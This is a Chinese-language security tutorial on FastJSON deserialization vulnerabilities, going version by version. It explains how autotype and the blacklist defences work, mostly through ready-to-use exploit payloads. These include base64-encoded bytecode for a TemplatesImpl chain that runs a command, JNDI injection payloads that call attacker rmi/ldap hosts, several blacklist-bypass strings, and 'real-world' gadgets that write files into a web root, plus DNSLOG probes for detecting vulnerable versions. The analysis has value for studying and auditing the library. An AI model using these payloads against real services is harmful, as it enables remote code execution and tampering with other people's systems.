浅析FastJSON反序列化漏洞

目录



FastJSON 简介

FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象。

https://github.com/alibaba/fastjson 👈项目地址

“自2017年3月15日,fastjson官方主动爆出其在1.2.24及之前版本存在远程代码执行高危安全漏洞以来,各种新型绕过姿势层出不穷。“——c014

FASTJSON咋用

答案:直接POM导入,方便地一批

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>x.x.xx</version>
    </dependency>
</dependencies>

import com.alibaba.fastjson.JSON

fastjson有两种常见的处理JSON的方法

下面看一波实例:创建一个对象,将其转为JSON,然后再转回对象。 同时可以发现,在JSON序列化时,会调用类的getxxx方法;在JSON反序列化时,会调用类的构造方法

public class App 
{
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){
        User a = new User();
        String json = JSON.toJSONString(a);
        System.out.println(json);
        System.out.println(JSON.parseObject(json,User.class));
    }
}

User go
GetId go
{}
User go
org.example.App$User@36d4b5c

FASTJSON 反序列化漏洞起源

我们可以看到,把JSON反序列化的语句是 JSON.parseObject(json,User.class),在指定JSON时,还需要指定其所属的类,显得代码就很臃肿,所以开发人员可以使用@type(autotype)字符段来使其不那么臃肿。 像下面这样,在JSON通过指定@type的值来实现定位某类。

JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}")

虽说这么做很方便,但是以这种方法进行反序列化,会执行类的构造方法和属性相关的get,set方法。

public class App 
{
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){
        System.out.println(JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}"));
    }
}
User go
setId go
GetId go
{"id":"123"}

所以在这个JSON反序列化接口处,我们传入恶意的JSON,就可以调用任意类的构造方法以及属性相关的get,set方法。 如果某类的相关方法里有危险的代码(如执行某个命令),我们就可以构造恶意JSON达到RCE的作用。

另外,JSON.parseObject("{"@type":"org.example.App\$User","id":"123"}",Feature.SupportNonPublicField) ,可以直接为private成员赋值(不加Feature.SupportNonPublicField是无法对private成员赋值的)。虽然但是,即使是private属性,如果它有getter或setter那么它的getter和setter依旧会被调用。

demo

public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }

    }

    public static void main(String[] args){
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        User a = JSON.parseObject("{\"@type\":\"com.exp.Main.Main$User\",\"id\":\"123\"}",User.class);
        System.out.println(a.id);

        User b = JSON.parseObject("{\"@type\":\"com.exp.Main.Main$User\",\"id\":\"123\"}",User.class,Feature.SupportNonPublicField);
        System.out.println(b.id);
    }

User go
null
User go
123

各版本复现

1.2.24

TemplatesImpl

是的,就是7U21链里面的TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类本身就存在反序列化漏洞,会将成员变量_bytecodes的数据作为类的字节码进行newInsantce操作从而调用其构造方法或static块。故可以fastjson为契机去调用此类。 但是由于_name 和_bytecodes 是私有属性,所以需要FASTJSON反序列化接口有Feature.SupportNonPublicField参数才能实现,利用条件很苛刻,但是条件允许的话就很方便,payload打过去就完事。

_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。"

payload
{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

_bytecodes的类长这样,编译生成Evil.class,将字节码读出并用base64加密,作为_bytecodes

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet{
static {
            System.err.println("Pwned");
            try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
         }

         @Override
         public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
                  // anything
         }

         @Override
         public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
                  // anything
         }
}

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl,通过JNDI注入来实现RCE。但需注意JNDI注入有JDK版本限制,高版本需要进行绕过。

我们的payload一般长这样

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
or
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}

把这个payload打过去,会执行setAutoCommit(),又setAutoCommit()执行了connct()函数,其如下。 connect()会对dataSourceName属性进行一个InitialContext.lookup(dataSourceName),从而实现JNDI注入。

private Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

1.2.25

更新机制

1.2.24及以前版本就跟白纸一样随便打,在1.2.25开始加入了黑白名单机制

我们继续用1.2.24的payload(这里用TemplatesImpl的payload)去打,会发现报错autotype不支持

image-20210907163503833

究其原因,是因为在com.alibaba.fastjson.parser.ParserConfig 加入了CheckAutoType方法

com.alibaba.fastjson.parser.ParserConfig !public Class<?> checkAutoType(String typeName, Class<?> expectClass)

在其中有个autotypesupport属性,如果为false,那么就会检测json中@type的值 开头是否与黑名单中的值一样,若一样就直接返回一个异常,然后加载白名单中的类

if (!autoTypeSupport) {
      \\黑名单检测,classname是传入类的全名,denyList是黑名单
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

image-20210907164922626

黑名单长这样

若autotypesupport开启,则会先白名单加载,后黑名单检测

if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
        String accept = acceptList[i];
        if (className.startsWith(accept)) {
            return TypeUtils.loadClass(typeName, defaultClassLoader);
        }
    }

    for (int i = 0; i < denyList.length; ++i) {
        String deny = denyList[i];
        if (className.startsWith(deny)) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

后面的许多更新都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。

bypass 1(L;法)1.2.25-1.2.41

当autoTypeSupport开启或expectClass不为空时,会调用一个loadclass方法

if (this.autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

而在其中,若类名以L开头;结尾,则会把这两个字符去掉并加载类。

“至于为什么会有这种奇怪的处理,L 和 ; 这一对字符其实是 JVM 字节码中用来表示类名的:”

if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

所以在autotypesupport开启时,我们可以构造如下payload来bypass

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:1099","autoCommit":true}

如何开启autotypesupport?只需在json被解析前加入如下代码即可

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

bypass 2(json内置)1.2.25-1.2.47

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}

1.2.42

更新机制

42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L开头,;结尾,则会用stubstring处理一下(这个判断是由HASH来判断的,看不懂,但我大受震撼):

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    className = className.substring(1, className.length() - 1);
}

bypass(双写绕过)

那么直接一手双写绕过

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:2357/Command8",
    "autoCommit":true
}

1.2.42

更新机制

针对双写绕过套了个子判断。

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

Bypass

TypeUtils.loadClass 中除了对L;进行判断,还有对[进行了判断

} else if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
} 

围绕这个展开,构造如下payload,具体为啥这么构造没有细跟,反正跟[有关

{
  "@type" : "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[,{
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

1.2.44

更新机制

44版本针对43版本的绕过作了处理,[ 开头或者 L 开头 ; 结尾都会抛出异常

image-20210907182521116

Bypass

JSON内置完美击破

1.2.47-67

更新机制

由于47修复了JSON内置绕过,这些版本里也没啥很好的绕过方法,网上多是从黑名单中结合JNDI注入找漏网之鱼(找到的多为组件类,需要目标机器上有该组件才能打https://paper.seebug.org/1155/)以及expectClass绕过AutoType

1.2.68

68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常,只要设置@type类型,想反序列化指定类对象的时候,就会抛异常,也就是说开了safemod的站可以不用看了。 当然这个版本expectClass绕过AutoType是可以打一打的。

Bypass expectClass绕过AutoType <=1.2.68

这里通过一个demo展示一下.

package org.example;

import java.io.IOException;

public class VulAutoCloseable implements AutoCloseable {
    public VulAutoCloseable(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void close() throws Exception {

    }
}

然后我们的payload

public class evil {
        public static void main(String[] args){
            System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.VulAutoCloseable\",\"cmd\":\"calc\"}\n"));
        }
    }

执行后弹计算器

image-20210907204915990

我们通过调试来看看具体是怎么个回事

调试

于checkautotype 处下断点。

image-20210907224439952

可以发现传入的typename是 AutoCloseable。此时的expectClass是NULL

往下,直接从缓存Mapping可以直接获得此类,

image-20210907224744679

然后直接被return了,甚至没有走autoTypeSupport校验。

image-20210907225106968

clazz被return到了defaultjsonparser里,往下看逻辑可以发现从对clazz进行了一个deserialze方法,跟进

image-20210907225448517

会跟到这里来

image-20210908010408177

往下看,会因为由Autocloseable不能通过getSeeAlso方法成功生成deserializer对象,从而触发第二轮checkAutoType

image-20210908013610732

第二轮传入checkAutoType的参数依次为 第二个@type值,第一个@type值,和一个不重要的lexer.getFeatures()

进来checkAutoType后,会先对exceptclass进行白名单校验,Autocloseable类自然是随便过掉,然后使exceptClassFlag置为true

image-20210908013751407

随后便是一些对typename的黑白名单校验,由于typename是org.example.VulAutoCloseable,不在黑白名单中,所以校验自然都通过了。 以下是依次的校验顺序

黑名单校验

image-20210908014110837

先白后黑,其中所有的Array.binarySearch结果都是0,自然就能通过IF条件

image-20210908014001405

先黑后白

image-20210908014440625

冲破重重考研,typename指定类被传入TypeUtils.loadClass,跟进

image-20210908014625797

会来到这里,VulAutoCloseable的类对象被返回

image-20210908015237563

然后会对这个类对象进行校验,校验是否为ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget的机制:

image-20210908015331781

然后判断clazz是否是exceptClass的子类,是的话就直接返回类对象。类对象被返回后,就会进入被反序列化的下一个过程,它的构造方法等会被调用,从而完成利用。

image-20210908015543198

实战Gadget

实战中用的payload:

文件移动:将一个文件中的内容移动到新的一个文件中去,原来文件的内容消失。

<dependency>    <groupId>org.aspectj</groupId>    <artifactId>aspectjtools</artifactId>    <version>1.9.5</version></dependency>
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"D:/b.txt", "targetPath":"E:/b.txt"}

文件写入

<dependency>
  <groupId>com.sleepycat</groupId>
  <artifactId>je</artifactId>
  <version>5.0.73</version>
</dependency>

<dependency>
  <groupId>com.esotericsoftware</groupId>
  <artifactId>kryo</artifactId>
  <version>4.0.0</version>
</dependency>

<dependency>
  <groupId>org.aspectj</groupId>
  <artifactId>aspectjtools</artifactId>
  <version>1.9.5</version>
</dependency>
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "D:/wamp64/www/hacked.txt", \\创建一个空文件
        "tempPath": "D:/wamp64/www/test.txt"\\创建一个有内容的文件
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "cHduZWQ=", \\base64后的文件内容
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

漏洞检测

DNSLOG

{"@type":"java.net.InetAddress","val":"dnslog.cn"} 在49以下才能触发,因为这个gadget在49被禁止了,可用于检测具体版本
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

报错检测

运气好可以直接出版本号

{"xxx":"\x+(eyJhIjoiXHgaGiJ9的base64解码) 
在60以下才能触发,当后端 Fastjson 版本小于 1.2.60 时,使用该请求包不会延时不会报错,反之则会延迟或报错

绕过异常

有些开发人员在写解析JSON的相关代码时,可能会设置只能传入指定对象。 而我们通过设置@type时传入的对象可能会与指定对象不匹配从而发生type not match的异常。

解决办法是这样,最外层套层对象

{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}

审计关键字

JSON.parseObject(

参考

https://c014.cn/pdfs/java/Fastjson/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html

https://www.freebuf.com/vuls/228099.html

https://aluvion.gitee.io/2020/08/23/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%9C%BA%E5%88%B6%E5%92%8Cautotype%E8%A7%82%E6%B5%8B/#1-2-25-lt-Fastjson-lt-1-2-41-checkAutoType-%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87

https://paper.seebug.org/1192/#1225

https://www.mi1k7ea.com/2019/11/11/Fastjson%E7%B3%BB%E5%88%97%E5%9B%9B%E2%80%94%E2%80%941-2-25-1-2-47%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88%E6%97%A0%E9%9C%80%E5%BC%80%E5%90%AFAutoType%EF%BC%89/#%E4%B8%8D%E5%8F%97AutoTypeSupport%E5%BD%B1%E5%93%8D%E7%9A%84%E7%89%88%E6%9C%AC

https://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x04-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88expectClass%E7%BB%95%E8%BF%87AutoType%EF%BC%89